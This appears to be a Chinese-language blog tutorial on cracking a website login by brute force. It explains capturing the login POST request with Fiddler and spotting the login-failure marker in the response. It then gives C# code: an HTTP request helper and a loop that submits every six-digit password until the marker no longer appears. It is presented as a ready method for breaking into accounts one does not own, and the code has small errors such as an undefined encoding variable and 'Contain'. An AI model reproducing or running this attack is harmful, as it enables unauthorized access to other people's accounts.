用到的技術也同樣是網絡抓包、DOM樹分析、網絡請求等。
- 網絡抓包
- dom樹分析
- 網絡請求
- 循環破解
網絡抓包
這里抓包很簡單,首先打開fiddler軟件,然后打開你要破解的網站,輸入用戶名和一個假的密碼(如果你知道真的密碼,就不需要破解了),點擊登錄,這時候就會從fiddler中查看到一條登錄的請求,一般都是POST請求,可以很清楚的從請求內容中看到請求的URl、用戶名、密碼等,將該語句復制下來,准備下一步工作。
dom樹分析
這里的DOM樹分析,只需要分析剛剛那條登錄請求的結果即可,一般都是提示你登錄失敗,但是有些返回的是整個html頁面,有些是json語句等等,但是終歸你會找到一個標識你登錄失敗的地方,將這個也記錄下來,准備下一步工作。
網絡請求
此次網絡請求在上一篇文章中也有過介紹,在這里我再放出代碼,但需要強調的是using (StreamReader sr = new StreamReader(instream, encoding))
中的encoding,如果你能看出返回網頁的編碼方式,這里就改成相應的編碼,否則中午會出現亂碼的情況,如果不知道,那么可以用GB2312等逐一測試,直到不出現亂碼為止。
public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null)
{
HttpWebResponse response = null; HttpWebRequest request = null; if (cookie == null) cookie = new CookieContainer(); // 准備請求... try { // 設置參數 request = WebRequest.Create(url) as HttpWebRequest; request.CookieContainer = cookie; request.AllowAutoRedirect = true; request.Method = method.ToUpper(); request.ContentType = "application/x-www-form-urlencoded"; string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)"); request.UserAgent = userAgent; request.ContentLength = postData.Length; if (method.ToUpper() == "POST") { if (!string.IsNullOrEmpty(postData)) { byte[] data = Encoding.Default.GetBytes(postData); request.ContentLength = data.Length; using (Stream outstream = request.GetRequestStream()) { outstream.Write(data, 0, data.Length); } } } //發送請求並獲取相應回應數據 response = request.GetResponse() as HttpWebResponse; //直到request.GetResponse()程序才開始向目標網頁發送Post請求 using (Stream instream = response.GetResponseStream()) { using (StreamReader sr = new StreamReader(instream, encoding)) { //返回結果網頁(html)代碼 string content = sr.ReadToEnd(); return content; } } } catch (Exception ex) { string err = ex.Message; return err; } finally { if (response != null) response.Close(); } }
循環破解
這里是本文的核心,知道了登錄的請求方式以及登錄失敗的提示,接下來就是通過像我們當年破解密碼箱密碼一樣一個個去試,這里只不過用程序自動完成,首先寫個循環從0循環到999999(假設6位數密碼),然后拼接登錄請求中的數據(包含用戶名、密碼),然后發送網絡請求判斷請求的結果,如果包含之前找到的失敗標識,繼續循環,如果不包含,恭喜你密碼找到了。代碼如下:
int start = 0; int end = 999999; for (int i = start; i <= end; i++) { var pass = i.ToString().PadLeft(6, '0');//不足6位,左邊補0 var post = "usename=yourname" + "&password=" + pass;//拼接請求的數據 var res = GetContent("POST", loginurl, post); if (!res.Contain("失敗標識")) { MessageBox.Show("密碼是:" + pass); return; } }
其中i.ToString().PadLeft(6, '0')
的作用是不足6位補0,讓密碼滿足6位。var post = "usename=yourname" + "&password=" + pass
的作用是拼接發送的數據。